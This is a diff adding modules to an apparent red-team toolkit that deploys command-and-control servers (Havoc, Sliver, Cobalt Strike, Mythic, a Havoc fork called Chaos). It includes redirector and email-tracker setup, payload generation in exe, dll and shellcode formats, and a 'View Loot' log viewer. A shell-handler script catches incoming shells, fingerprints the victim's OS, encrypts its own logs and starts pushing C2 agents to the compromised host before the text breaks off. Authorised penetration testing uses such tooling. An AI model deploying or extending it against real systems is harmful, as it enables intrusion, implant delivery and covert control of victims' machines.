deployments{COLORS['RESET']}") + return None + config['domain'] = domain + + # Subdomain configuration + config['c2_subdomain'] = input("C2 server subdomain [default: mail]: ") or "mail" + + # Instance naming options + config['redirector_name'] = get_deployment_name_with_options( + deployment_type='redirector', + deployment_id=config['deployment_id'], + prefix='r-' + ) + + config['c2_name'] = get_deployment_name_with_options( + deployment_type='c2', + deployment_id=config['deployment_id'], + prefix='s-' + ) + + # C2 Framework selection + print(f"\n{COLORS['BLUE']}C2 Framework Selection:{COLORS['RESET']}") + print(f"1) Havoc") + print(f"2) Cobalt Strike") + print(f"3) Sliver") + print(f"4) Mythic") + print(f"5) Custom") + + framework_choice = input("Select C2 framework [default: 1]: ") or "1" + frameworks = { + "1": "havoc", + "2": "cobaltstrike", + "3": "sliver", + "4": "mythic", + "5": "custom" + } + config['c2_framework'] = frameworks.get(framework_choice, "havoc") + + # Email for Let's Encrypt + default_email = f"admin@{config['domain']}" + config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email + + # Get operator IP for security + suggested_ip = get_public_ip() + if suggested_ip: + operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip + else: + operator_ip = input("Your public IP for secure access: ") + config['operator_ip'] = operator_ip + + # SSH key generation + ssh_key_path = generate_ssh_key(config['deployment_id']) + if not ssh_key_path: + print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}") + return None + config['ssh_key_path'] = f"{ssh_key_path}.pub" + + # SMTP Configuration for email services + print(f"\n{COLORS['BLUE']}SMTP Configuration{COLORS['RESET']}") + config['smtp_auth_user'] = input("SMTP authentication username [default: admin]: ") or "admin" + + import secrets + import string + def generate_random_password(length=16): + alphabet = string.ascii_letters + string.digits + "!@#$%^&*" + password = ''.join(secrets.choice(alphabet) for _ in range(length)) + return password + + default_password = generate_random_password() + smtp_password = input(f"SMTP authentication password [default: random generated]: ") + config['smtp_auth_pass'] = smtp_password if smtp_password else default_password + + print(f"{COLORS['GREEN']}SMTP Credentials:{COLORS['RESET']}") + print(f" Username: {config['smtp_auth_user']}") + print(f" Password: {config['smtp_auth_pass']}") + print(f"{COLORS['YELLOW']}Note: These credentials will be saved in the deployment info file{COLORS['RESET']}") + + # Security Configuration + print(f"\n{COLORS['BLUE']}Security Configuration{COLORS['RESET']}") + zero_logs_choice = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower() + config['zero_logs'] = zero_logs_choice != 'n' # Default to True unless explicitly 'n' + + # Post-deployment options + config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True) + + return config + +def c2_menu(): + """Display the C2 submenu and handle user selection""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE MENU{COLORS['RESET']}") + print(f"{COLORS['WHITE']}======================={COLORS['RESET']}") + print(f"1) C2 Server Only {COLORS['GREEN']}*QUICK*{COLORS['RESET']} {COLORS['GRAY']}(Basic setup){COLORS['RESET']}") + print(f"2) Havoc C2 Server {COLORS['GRAY']}(Modern C2 framework){COLORS['RESET']}") + print(f"3) Sliver Server {COLORS['GRAY']}(Go-based C2){COLORS['RESET']}") + print(f"4) Cobalt Strike Server {COLORS['GRAY']}(Commercial C2){COLORS['RESET']}") + print(f"5) Mythic Server {COLORS['GRAY']}(Cross-platform C2){COLORS['RESET']}") + print(f"6) C2 + Redirector {COLORS['GRAY']}(C2 with traffic redirection){COLORS['RESET']}") + print(f"7) Full C2 Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}") + print(f"99) Return to Main Menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + deploy_c2_only() + elif choice == "2": + deploy_havoc_c2() + elif choice == "3": + deploy_sliver_c2() + elif choice == "4": + deploy_cobaltstrike_c2() + elif choice == "5": + deploy_mythic_c2() + elif choice == "6": + deploy_c2_with_redirector() + elif choice == "7": + deploy_full_c2() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + +def deploy_c2_only(): + """Deploy C2 server only""" + config = gather_c2_parameters() + if not config: + return + + config['deployment_type'] = 'c2_only' + config['c2_only'] = True + + print(f"\n{COLORS['GREEN']}Deploying C2 server only...{COLORS['RESET']}") + execute_c2_deployment(config) + +def deploy_c2_with_redirector(): + """Deploy C2 server with redirector""" + config = gather_c2_parameters() + if not config: + return + + # Additional redirector configuration + config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn" + + config['deployment_type'] = 'c2_with_redirector' + config['deploy_redirector'] = True + + print(f"\n{COLORS['GREEN']}Deploying C2 server with redirector...{COLORS['RESET']}") + execute_c2_deployment(config) + +def deploy_full_c2(): + """Deploy full C2 infrastructure""" + config = gather_c2_parameters() + if not config: + return + + # Additional configuration for full deployment + config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn" + + config['deployment_type'] = 'full_c2' + config['deploy_redirector'] = True + config['deploy_tracker'] = confirm_action("Deploy email tracker?", default=False) + + print(f"\n{COLORS['GREEN']}Deploying full C2 infrastructure...{COLORS['RESET']}") + execute_c2_deployment(config) + +def deploy_havoc_c2(): + """Deploy Havoc C2 server specifically""" + config = gather_c2_parameters() + if not config: + return + + config['c2_framework'] = 'havoc' + config['deployment_type'] = 'havoc_c2' + + print(f"\n{COLORS['GREEN']}Deploying Havoc C2 server...{COLORS['RESET']}") + execute_c2_deployment(config) + +def deploy_cobaltstrike_c2(): + """Deploy Cobalt Strike server specifically""" + config = gather_c2_parameters() + if not config: + return + + config['c2_framework'] = 'cobaltstrike' + config['deployment_type'] = 'cobaltstrike_c2' + + # Cobalt Strike specific configuration + license_path = input("Path to Cobalt Strike license file [optional]: ") + if license_path: + config['cobaltstrike_license'] = license_path + + print(f"\n{COLORS['GREEN']}Deploying Cobalt Strike server...{COLORS['RESET']}") + execute_c2_deployment(config) + +def deploy_sliver_c2(): + """Deploy Sliver C2 server specifically""" + config = gather_c2_parameters() + if not config: + return + + config['c2_framework'] = 'sliver' + config['deployment_type'] = 'sliver_c2' + + print(f"\n{COLORS['GREEN']}Deploying Sliver C2 server...{COLORS['RESET']}") + execute_c2_deployment(config) + +def deploy_mythic_c2(): + """Deploy Mythic C2 server specifically""" + config = gather_c2_parameters() + if not config: + return + + config['c2_framework'] = 'mythic' + config['deployment_type'] = 'mythic_c2' + + print(f"\n{COLORS['GREEN']}Deploying Mythic C2 server...{COLORS['RESET']}") + execute_c2_deployment(config) + +def execute_c2_deployment(config): + """Execute C2 infrastructure deployment""" + clear_screen() + print_banner() + print(f"\n{COLORS['GREEN']}Starting C2 deployment...{COLORS['RESET']}") + + # Archive old logs before starting new deployment + print(f"Archiving old logs...") + archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments + + # Set up logging + log_file = setup_logging(config['deployment_id'], "c2_deployment") + + # Display configuration summary + print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}") + print(f"Deployment Type: {config['deployment_type']}") + print(f"Deployment ID: {config['deployment_id']}") + print(f"Provider: {config['provider']}") + print(f"Domain: {config['domain']}") + print(f"C2 Framework: {config['c2_framework']}") + + # Confirm deployment + if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with C2 deployment?{COLORS['RESET']}", default=False): + print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}") + return + + # Execute the actual deployment using the deployment engine + from utils.deployment_engine import deploy_infrastructure + success = deploy_infrastructure(config) + + if success: + print(f"\n{COLORS['GREEN']}C2 infrastructure deployed successfully!{COLORS['RESET']}") + + if config.get('ssh_after_deploy'): + from utils.ssh_utils import ssh_to_instance + ssh_to_instance(config) + else: + print(f"\n{COLORS['RED']}C2 infrastructure deployment failed.{COLORS['RESET']}") + + wait_for_input() + +if __name__ == "__main__": + c2_menu() diff --git a/modules/c2/deploy_chaos.py b/modules/c2/deploy_chaos.py new file mode 100644 index 0000000..fb9a3a2 --- /dev/null +++ b/modules/c2/deploy_chaos.py @@ -0,0 +1,447 @@ +#!/usr/bin/env python3 +""" +Chaos C2 โ€” c2itall integration module +Deploy and manage the Chaos C2 framework (Havoc fork) locally or on a remote host. +""" + +import os +import sys +import subprocess +import glob + +# Add parent paths for imports +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) +from utils.common import COLORS, clear_screen, print_banner, wait_for_input + +# โ”€โ”€โ”€ Path Registry โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +CHAOS_PATH = os.path.expanduser('~/tools/chaos') +INSTALL_SH = os.path.join(CHAOS_PATH, 'Install.sh') +TEAMSERVER = os.path.join(CHAOS_PATH, 'teamserver') +DATA_DIR = os.path.join(CHAOS_PATH, 'data') +LOGS_DIR = os.path.join(DATA_DIR, 'logs') +WS_PATH_FILE = os.path.join(DATA_DIR, '.ws_path') +PROFILES_DIR = os.path.join(CHAOS_PATH, 'profiles') + + +# โ”€โ”€โ”€ SSH helpers โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, command=None, interactive=False): + """Build an SSH command list.""" + cmd = ['ssh'] + if ssh_key: + cmd.extend(['-i', ssh_key]) + cmd.extend(['-p', str(ssh_port)]) + known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts') + cmd.extend([ + '-o', 'StrictHostKeyChecking=accept-new', + '-o', f'UserKnownHostsFile={known_hosts}', + '-o', 'IdentitiesOnly=yes', + ]) + if interactive: + cmd.append('-t') + cmd.append(f'{ssh_user}@{host}') + if command: + cmd.append(command) + return cmd + + +def _build_scp_cmd(ssh_port, ssh_key=None): + """Build base SCP command with consistent SSH options.""" + known_hosts = os.path.expanduser('~/.ssh/c2deploy_chaos_known_hosts') + cmd = [ + 'scp', + '-P', str(ssh_port), + '-o', 'StrictHostKeyChecking=accept-new', + '-o', f'UserKnownHostsFile={known_hosts}', + ] + if ssh_key: + cmd.extend(['-i', ssh_key]) + return cmd + + +# โ”€โ”€โ”€ Remote target prompt โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _prompt_remote_target(): + """Prompt for host/user/port/key. Returns (host, user, port, key) or None on cancel.""" + print(f"\n{COLORS['CYAN']}Remote Target{COLORS['RESET']}") + print(f"{COLORS['WHITE']}============={COLORS['RESET']}") + + host = input(f" Remote host (IP or hostname): ").strip() + if not host: + print(f"{COLORS['YELLOW']}No host provided{COLORS['RESET']}") + return None, None, None, None + + ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or 'root' + ssh_port_raw = input(f" SSH port [{COLORS['CYAN']}22{COLORS['RESET']}]: ").strip() or '22' + try: + ssh_port = int(ssh_port_raw) + except ValueError: + ssh_port = 22 + + ssh_key = input(f" SSH key path (blank for default): ").strip() or None + return host, ssh_user, ssh_port, ssh_key + + +# โ”€โ”€โ”€ Profile selection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _select_profile(label="Select profile"): + """List available profiles and let the user choose one. Returns path or None.""" + profiles = [] + if os.path.isdir(PROFILES_DIR): + for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'): + profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext))) + profiles.sort() + + if not profiles: + print(f" {COLORS['YELLOW']}No profiles found in {PROFILES_DIR}{COLORS['RESET']}") + manual = input(f" Enter profile path manually (blank to cancel): ").strip() + return manual or None + + print(f"\n {COLORS['CYAN']}{label}:{COLORS['RESET']}") + for i, p in enumerate(profiles, 1): + print(f" {i}) {os.path.basename(p)}") + + raw = input(f"\n Select [1]: ").strip() or '1' + try: + idx = int(raw) - 1 + if 0 <= idx < len(profiles): + return profiles[idx] + except ValueError: + pass + + print(f" {COLORS['YELLOW']}Invalid selection โ€” using first profile{COLORS['RESET']}") + return profiles[0] + + +# โ”€โ”€โ”€ Local actions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _deploy_local(): + """Run Install.sh locally after a pre-flight check.""" + if not os.path.exists(INSTALL_SH): + print(f"\n{COLORS['RED']}Install.sh not found at {INSTALL_SH}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Clone the Chaos repo to ~/tools/chaos first{COLORS['RESET']}") + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Running pre-flight check (Install.sh --check)...{COLORS['RESET']}") + check_result = subprocess.run( + ['bash', INSTALL_SH, '--check'], + cwd=CHAOS_PATH, + capture_output=True, + text=True, + ) + if check_result.stdout: + print(check_result.stdout) + if check_result.stderr: + print(check_result.stderr) + + if check_result.returncode != 0: + print(f"{COLORS['YELLOW']}Pre-flight check reported issues (rc={check_result.returncode}) โ€” continue anyway? (y/N): {COLORS['RESET']}", end='') + if input().strip().lower() != 'y': + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Installing Chaos C2 locally...{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Note: script may require sudo โ€” you may be prompted for your password.{COLORS['RESET']}\n") + try: + subprocess.run(['bash', INSTALL_SH], cwd=CHAOS_PATH) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Installation interrupted{COLORS['RESET']}") + wait_for_input() + + +def _deploy_remote(): + """SCP the chaos repo to a remote host and run Install.sh over SSH.""" + if not os.path.isdir(CHAOS_PATH): + print(f"\n{COLORS['RED']}Chaos source not found at {CHAOS_PATH}{COLORS['RESET']}") + wait_for_input() + return + + host, ssh_user, ssh_port, ssh_key = _prompt_remote_target() + if not host: + wait_for_input() + return + + remote_staging = '/tmp/chaos-deploy' + + print(f"\n{COLORS['CYAN']}Creating remote staging directory on {ssh_user}@{host}...{COLORS['RESET']}") + mkdir_cmd = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, + f'rm -rf {remote_staging} && mkdir -p {remote_staging}') + result = subprocess.run(mkdir_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}Failed to create remote staging dir: {result.stderr}{COLORS['RESET']}") + wait_for_input() + return + + print(f"{COLORS['CYAN']}Copying Chaos to {ssh_user}@{host}:{remote_staging}...{COLORS['RESET']}") + scp_cmd = _build_scp_cmd(ssh_port, ssh_key) + scp_cmd.extend(['-r', CHAOS_PATH + '/']) + scp_cmd.append(f'{ssh_user}@{host}:{remote_staging}/') + result = subprocess.run(scp_cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}") + wait_for_input() + return + print(f" {COLORS['GREEN']}Files copied{COLORS['RESET']}") + + print(f"\n{COLORS['CYAN']}Running Install.sh on {host}...{COLORS['RESET']}") + install_cmd_str = f'cd {remote_staging} && bash Install.sh' + ssh_install = _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, + install_cmd_str, interactive=True) + try: + subprocess.run(ssh_install) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Remote install interrupted{COLORS['RESET']}") + + wait_for_input() + + +def _start_teamserver(): + """Start the Chaos teamserver with a selected profile.""" + if not os.path.exists(TEAMSERVER): + print(f"\n{COLORS['RED']}teamserver binary not found at {TEAMSERVER}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Run 'Deploy Chaos (local)' first to build it{COLORS['RESET']}") + wait_for_input() + return + + profile = _select_profile("Select listener profile") + if not profile: + print(f"{COLORS['YELLOW']}No profile selected โ€” aborting{COLORS['RESET']}") + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Starting Chaos teamserver with profile: {os.path.basename(profile)}{COLORS['RESET']}") + print(f"{COLORS['GRAY']}Press Ctrl+C to stop{COLORS['RESET']}\n") + try: + subprocess.run([TEAMSERVER, '-p', profile], cwd=CHAOS_PATH) + except KeyboardInterrupt: + print(f"\n{COLORS['YELLOW']}Teamserver stopped by user{COLORS['RESET']}") + wait_for_input() + + +def _stop_teamserver(): + """Find and kill the teamserver process.""" + print(f"\n{COLORS['CYAN']}Looking for running teamserver process...{COLORS['RESET']}") + result = subprocess.run( + ['pgrep', '-f', 'teamserver'], + capture_output=True, text=True + ) + pids = result.stdout.strip().splitlines() + + if not pids: + print(f"{COLORS['YELLOW']}No teamserver process found{COLORS['RESET']}") + wait_for_input() + return + + print(f" Found PID(s): {', '.join(pids)}") + confirm = input(f" {COLORS['YELLOW']}Kill these processes? (y/N): {COLORS['RESET']}").strip().lower() + if confirm != 'y': + print(f"{COLORS['GREEN']}Cancelled{COLORS['RESET']}") + wait_for_input() + return + + for pid in pids: + kill_result = subprocess.run(['kill', pid], capture_output=True, text=True) + if kill_result.returncode == 0: + print(f" {COLORS['GREEN']}Killed PID {pid}{COLORS['RESET']}") + else: + print(f" {COLORS['RED']}Failed to kill PID {pid}: {kill_result.stderr.strip()}{COLORS['RESET']}") + wait_for_input() + + +def _show_status(): + """Check if teamserver is running, show WS path and active profile.""" + print(f"\n{COLORS['CYAN']}Chaos C2 Status{COLORS['RESET']}") + print(f"{COLORS['WHITE']}==============={COLORS['RESET']}") + + # Check for running process + result = subprocess.run(['pgrep', '-a', '-f', 'teamserver'], capture_output=True, text=True) + if result.stdout.strip(): + print(f" Teamserver: {COLORS['GREEN']}RUNNING{COLORS['RESET']}") + for line in result.stdout.strip().splitlines(): + print(f" {COLORS['GRAY']}{line}{COLORS['RESET']}") + else: + print(f" Teamserver: {COLORS['RED']}NOT RUNNING{COLORS['RESET']}") + + # Show WS path + if os.path.exists(WS_PATH_FILE): + with open(WS_PATH_FILE) as f: + ws_path = f.read().strip() + print(f" WS Path: {COLORS['CYAN']}{ws_path}{COLORS['RESET']}") + else: + print(f" WS Path: {COLORS['GRAY']}(not set){COLORS['RESET']}") + + # Show install dir + if os.path.isdir(CHAOS_PATH): + print(f" Install: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']}") + else: + print(f" Install: {COLORS['RED']}NOT FOUND โ€” {CHAOS_PATH}{COLORS['RESET']}") + + # Show available profiles + if os.path.isdir(PROFILES_DIR): + profiles = [] + for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'): + profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext))) + if profiles: + print(f" Profiles:") + for p in sorted(profiles): + print(f" {COLORS['GRAY']}{os.path.basename(p)}{COLORS['RESET']}") + else: + print(f" Profiles: {COLORS['YELLOW']}none found in {PROFILES_DIR}{COLORS['RESET']}") + + wait_for_input() + + +def _generate_payload(): + """Interactive payload generation: listener profile, arch, format, output path.""" + if not os.path.exists(TEAMSERVER): + print(f"\n{COLORS['RED']}teamserver not found โ€” build Chaos first{COLORS['RESET']}") + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Payload Generation{COLORS['RESET']}") + print(f"{COLORS['WHITE']}=================={COLORS['RESET']}") + + profile = _select_profile("Select listener profile for payload") + if not profile: + print(f"{COLORS['YELLOW']}No profile selected โ€” aborting{COLORS['RESET']}") + wait_for_input() + return + + print(f"\n Architecture:") + print(f" 1) x86_64 (64-bit)") + print(f" 2) x86 (32-bit)") + arch_choice = input(f" Select [1]: ").strip() or '1' + arch = 'x86_64' if arch_choice != '2' else 'x86' + + print(f"\n Format:") + print(f" 1) exe (Windows executable)") + print(f" 2) dll (Windows DLL)") + print(f" 3) bin (raw shellcode)") + fmt_choice = input(f" Select [1]: ").strip() or '1' + fmt_map = {'1': 'exe', '2': 'dll', '3': 'bin'} + fmt = fmt_map.get(fmt_choice, 'exe') + + default_out = os.path.join(CHAOS_PATH, 'payloads', f'payload_{arch}.{fmt}') + out_path = input(f"\n Output path [{COLORS['CYAN']}{default_out}{COLORS['RESET']}]: ").strip() or default_out + + os.makedirs(os.path.dirname(out_path), exist_ok=True) + + print(f"\n{COLORS['CYAN']}Generating payload...{COLORS['RESET']}") + cmd = [TEAMSERVER, 'generate', '--profile', profile, + '--arch', arch, '--format', fmt, '--output', out_path] + try: + result = subprocess.run(cmd, cwd=CHAOS_PATH, capture_output=True, text=True) + if result.stdout: + print(result.stdout) + if result.stderr: + print(result.stderr) + if result.returncode == 0: + print(f"{COLORS['GREEN']}Payload written to: {out_path}{COLORS['RESET']}") + else: + print(f"{COLORS['RED']}Payload generation failed (rc={result.returncode}){COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Note: 'generate' subcommand may differ in your build โ€” check teamserver --help{COLORS['RESET']}") + except FileNotFoundError: + print(f"{COLORS['RED']}teamserver binary not executable โ€” did the build complete?{COLORS['RESET']}") + wait_for_input() + + +def _view_loot(): + """Tail structured JSON logs from data/logs/.""" + if not os.path.isdir(LOGS_DIR): + print(f"\n{COLORS['YELLOW']}Logs directory not found: {LOGS_DIR}{COLORS['RESET']}") + print(f"{COLORS['GRAY']}Logs will appear here after the teamserver has been started{COLORS['RESET']}") + wait_for_input() + return + + log_files = sorted(glob.glob(os.path.join(LOGS_DIR, '*.json')) + + glob.glob(os.path.join(LOGS_DIR, '*.log'))) + + if not log_files: + print(f"\n{COLORS['YELLOW']}No log files found in {LOGS_DIR}{COLORS['RESET']}") + wait_for_input() + return + + print(f"\n{COLORS['CYAN']}Available log files:{COLORS['RESET']}") + for i, lf in enumerate(log_files, 1): + size = os.path.getsize(lf) + print(f" {i}) {os.path.basename(lf)} ({size} bytes)") + + raw = input(f"\n Select log to tail [1]: ").strip() or '1' + try: + idx = int(raw) - 1 + if 0 <= idx < len(log_files): + chosen = log_files[idx] + else: + chosen = log_files[0] + except ValueError: + chosen = log_files[0] + + lines_raw = input(f" Lines to show [{COLORS['CYAN']}50{COLORS['RESET']}]: ").strip() or '50' + try: + lines = int(lines_raw) + except ValueError: + lines = 50 + + print(f"\n{COLORS['CYAN']}--- {os.path.basename(chosen)} (last {lines} lines) ---{COLORS['RESET']}\n") + try: + result = subprocess.run(['tail', '-n', str(lines), chosen], + capture_output=True, text=True) + print(result.stdout) + except Exception as e: + print(f"{COLORS['RED']}Error reading log: {e}{COLORS['RESET']}") + wait_for_input() + + +# โ”€โ”€โ”€ Main menu โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def chaos_menu(): + """Main entry point โ€” called from c2itall deploy.py tools_menu().""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}CHAOS C2{COLORS['RESET']}") + print(f"{COLORS['WHITE']}========{COLORS['RESET']}") + print(f" Havoc-based C2 framework") + + # Show whether source is available + if os.path.isdir(CHAOS_PATH): + ts_label = (f"{COLORS['GREEN']}built{COLORS['RESET']}" + if os.path.exists(TEAMSERVER) + else f"{COLORS['YELLOW']}not built{COLORS['RESET']}") + print(f" Source: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']} (teamserver: {ts_label})") + else: + print(f" Source: {COLORS['RED']}NOT FOUND โ€” {CHAOS_PATH}{COLORS['RESET']}") + print() + + print(f"1) Deploy Chaos {COLORS['CYAN']}(local โ€” runs Install.sh){COLORS['RESET']}") + print(f"2) Deploy Chaos {COLORS['CYAN']}(remote SSH โ€” SCP + install){COLORS['RESET']}") + print(f"3) Start Teamserver") + print(f"4) Stop Teamserver") + print(f"5) Show Status") + print(f"6) Generate Payload") + print(f"7) View Loot {COLORS['GRAY']}(tail data/logs/){COLORS['RESET']}") + print(f"99) Return to Tools Menu") + + choice = input(f"\nSelect an option: ").strip() + + if choice == '1': + _deploy_local() + elif choice == '2': + _deploy_remote() + elif choice == '3': + _start_teamserver() + elif choice == '4': + _stop_teamserver() + elif choice == '5': + _show_status() + elif choice == '6': + _generate_payload() + elif choice == '7': + _view_loot() + elif choice == '99': + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() diff --git a/modules/c2/files/havoc_installer.sh b/modules/c2/files/havoc_installer.sh new file mode 100644 index 0000000..af64c97 --- /dev/null +++ b/modules/c2/files/havoc_installer.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# OMITTED โ€” Havoc C2 framework installer +# +# Installs Havoc C2 teamserver and client from source, configures systemd service, +# sets up operator accounts, and applies hardening (non-default ports, TLS certs, +# firewall rules restricting access to redirector IPs only). +# +# Omitted from public release. Present in operational deployments. +echo "[!] Havoc installer not included in public release." diff --git a/modules/c2/files/havoc_mutate.sh b/modules/c2/files/havoc_mutate.sh new file mode 100644 index 0000000..5e42b88 --- /dev/null +++ b/modules/c2/files/havoc_mutate.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# OMITTED โ€” Havoc profile mutation script +# +# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement. +# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields. +# Feeds output directly into the teamserver configuration pipeline. +# +# Omitted from public release. Present in operational deployments. +echo "[!] Havoc profile mutator not included in public release." diff --git a/modules/c2/files/havoc_shell_handler.sh b/modules/c2/files/havoc_shell_handler.sh new file mode 100644 index 0000000..8828933 --- /dev/null +++ b/modules/c2/files/havoc_shell_handler.sh @@ -0,0 +1,218 @@ +#!/bin/bash +# Automated shell handler for catching and upgrading shells to Havoc C2 agents + +# Configuration +LISTEN_PORT=4488 +C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP +HAVOC_PORT=40056 # Havoc default Teamserver port +HAVOC_USER="admin" +HAVOC_DIR="/root/Tools/Havoc" +WINDOWS_PAYLOAD="windows/agent_win.exe" +LINUX_PAYLOAD="linux/agent_linux" + +# Set secure permissions +umask 077 + +# Logging function (minimal and encrypted) +log() { + local timestamp=$(date +"%Y-%m-%d %H:%M:%S") + local message="$1" + echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc +} + +# Detect OS function +detect_os() { + local connection=$1 + + # Send commands to determine OS + echo "echo \$OSTYPE" > $connection + sleep 1 + ostype=$(cat $connection | grep -i "linux\|darwin\|win") + + if [[ $ostype == *"win"* ]]; then + echo "windows" + elif [[ $ostype == *"darwin"* ]]; then + echo "macos" + elif [[ $ostype == *"linux"* ]]; then + echo "linux" + else + # Try Windows-specific command + echo "ver" > $connection + sleep 1 + winver=$(cat $connection | grep -i "microsoft windows") + + if [[ -n "$winver" ]]; then + echo "windows" + else + # Default to Linux if we can't determine + echo "linux" + fi + fi +} + +# Get Havoc password +get_havoc_password() { + # Extract password from Havoc profile + HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2) + echo $HAVOC_PASS +} + +# Deploy appropriate Havoc agent based on OS +deploy_agent() { + local connection=$1 + local os_type=$2 + + log "Deploying Havoc agent for detected OS: $os_type" + + # Get the latest payload paths from manifest + local manifest="/root/Tools/Havoc/payloads/manifest.json" + if [ -f "$manifest" ]; then + if [ "$os_type" == "windows" ]; then + WIN_EXE=$(jq -r '.windows_exe' "$manifest") + PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE" + elif [ "$os_type" == "linux" ]; then + LINUX_BIN=$(jq -r '.linux_binary' "$manifest") + PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN" + fi + else + # Use default paths if manifest doesn't exist + if [ "$os_type" == "windows" ]; then + PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe" + elif [ "$os_type" == "linux" ]; then + PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux" + fi + fi + + case $os_type in + windows) + # Setup Python HTTP 